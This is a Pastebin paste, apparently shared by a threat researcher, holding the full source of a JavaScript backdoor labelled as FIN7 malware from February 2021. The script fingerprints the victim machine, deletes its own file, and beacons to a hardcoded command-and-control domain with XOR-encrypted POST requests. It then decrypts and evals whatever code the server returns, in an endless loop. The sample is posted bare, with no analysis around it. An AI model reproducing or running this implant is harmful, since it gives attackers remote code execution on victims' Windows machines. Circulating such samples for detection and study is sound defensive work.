BUSHIDOTOKEN

FIN7 JavaScript 2 - Feb 2021

Feb 17th, 2021
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.17 KB | None | 0 0
  1. function Recon () {
  2. var MACCard = "Error";
  3. var DNSCard = "Error";
  4. try
  5. {
  6. var RefCard = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration where ipenabled = true");
  7. var EmuCard = new Enumerator(RefCard);
  8. for (; !EmuCard.atEnd(); EmuCard.moveNext())
  9. {
  10. MACCard = EmuCard.item().macaddress;
  11. DNSCard = EmuCard.item().DNSHostName;
  12. if(typeof MACCard === "string" && MACCard.length > 1)
  13. {
  14. if(typeof DNSCard !== "string" && DNSCard.length < 1) { DNSCard = "Unknown"; }
  15. else
  16. {
  17. for (var i = 0; i < DNSCard.length; i++) { if (DNSCard.charAt(i) > "z") { DNSCard = DNSCard.substr(0, i) + "_" + DNSCard.substr(i + 1); } }
  18. }
  19. return MACCard + "_" + DNSCard;
  20. }
  21. }
  22. }
  23. catch(e) { return MACCard + "_" + DNSCard; }
  24. }
  25.  
  26. var wmi = GetObject("winmgmts:root/CIMV2");
  27. var shell = new ActiveXObject("WScript.Shell");
  28. var fso = new ActiveXObject("Scripting.FileSystemObject");
  29. var Refpath = shell.expandEnvironmentStrings("%APPDATA%");
  30. var Time = new Date().getUTCMilliseconds();
  31. if(fso.GetAbsolutePathName(fso.GetParentFolderName(Refpath)).indexOf("AppData") > 5) {
  32. if(WScript.ScriptFullName.indexOf("Microsoft"+String.fromCharCode(0x5C)+"Windows")<0){
  33. try{ fso.deleteFile(WScript.ScriptFullName); } catch(e) {}
  34. }
  35. try
  36. {
  37. StartSleep ();
  38. Sendpulse();
  39. }
  40. catch(e) {Sendpulse();}
  41. }
  42. function Sendpulse () {
  43. var response = "";
  44. var ObjScript = WScript;
  45. response = send_data("request", "page_id=new", true);
  46. if(response !== "no") {
  47. try
  48. {
  49. response = ManageData("decrypt", response);
  50. if(response !== "no") { eval(ManageData("decrypt", response)); }
  51. }
  52. catch(e) {}
  53. }
  54. var RamTime = 120000 + (Math.floor(Math.random() * 16001) - 5000);
  55. ObjScript.Sleep(RamTime);
  56. Sendpulse();
  57. }
  58. function ManageData (mode, input_data) {
  59. try
  60. {
  61. var incXor = "";
  62. if(mode === "decrypt")
  63. {
  64. input_data = unescape(input_data);
  65. var Data = input_data.split("&_&");
  66. input_data = Data[0];
  67. if (Data.length == 2) { incXor = Data[1].split(""); }
  68. else{ return input_data; }
  69. }
  70. else
  71. {
  72. incXor = (Math.floor(Math.random()*9000) + 1000).toString().split("");
  73. input_data=unescape(encodeURIComponent(input_data));
  74. }
  75. var ar1 = new Array(input_data.length);
  76. for (var i = 0; i < input_data.length; i++)
  77. {
  78. var resCode = input_data.charCodeAt(i) ^ incXor[i % incXor.length].charCodeAt(0);
  79. ar1[i] = String.fromCharCode(resCode);
  80. }
  81. var result = ar1.join("");
  82. if(mode === "encrypt") {
  83. result = result + "&_&" + incXor.join("");
  84. result = escape(result);
  85. }
  86. return result;
  87. }
  88. catch(e) { return "no"; }
  89. }
  90. function decodeObfuscation(d) {
  91. key = "jlt7s"
  92. var res=new String("");
  93. var Data = d.split(",");
  94. var i=0;var c=0;
  95.  
  96. for(i=0;i<Data.length-1;i++) {
  97. var r=String.fromCharCode(Number(Data[i]));
  98. var code=r.charCodeAt(0)^key.charCodeAt(c);
  99. r=String.fromCharCode(code);
  100. res+= r;
  101. if(c==key.length-1)c=0; else c++;
  102. }
  103. return res;
  104. }
  105. function send_data (mode, data, flag) {
  106. try {
  107. var ObjMSXML = new ActiveXObject("MSXML2.ServerXMLHTTP");
  108. if(mode === "request")
  109. {
  110. ObjMSXML.open("POST", GetGate () + "?type=name", false);
  111. data = "rxfppuwynyjvizs=" + ManageData("encrypt", "group=mark&rt=0&secret=uUef836ie638fd3r38&time=120000&uid=" + Time + "&id=" + Recon() + "&" + data);
  112. }
  113. else
  114. {
  115. ObjMSXML.open("POST", GetGate () + "?type=content&id=" + Time, false);
  116. if(flag) { data = ManageData("encrypt", data); }
  117. }
  118. ObjMSXML.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/50.0");
  119. ObjMSXML.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  120. ObjMSXML.setOption(2, 13056);
  121. ObjMSXML.send(data);
  122. return ObjMSXML.responseText;
  123. }
  124. catch(e) { return "no"; }
  125. }
  126. function GetGate () {
  127. var reg1 = ["images", "pictures", "img", "info", "new"];
  128. var reg2 = ["sync", "show", "hide", "add", "new", "renew", "delete"];
  129. var sup = reg1[Math.floor(Math.random() * reg1.length)] + "/" + reg2[Math.floor(Math.random() * reg2.length)];
  130. return "https://civilizationidium.com/" + sup;
  131. }
  132. function StartSleep () {
  133. var ObjScript = WScript;
  134. ObjScript.Sleep(120000);
  135. }
Add Comment
Please, Sign In to add comment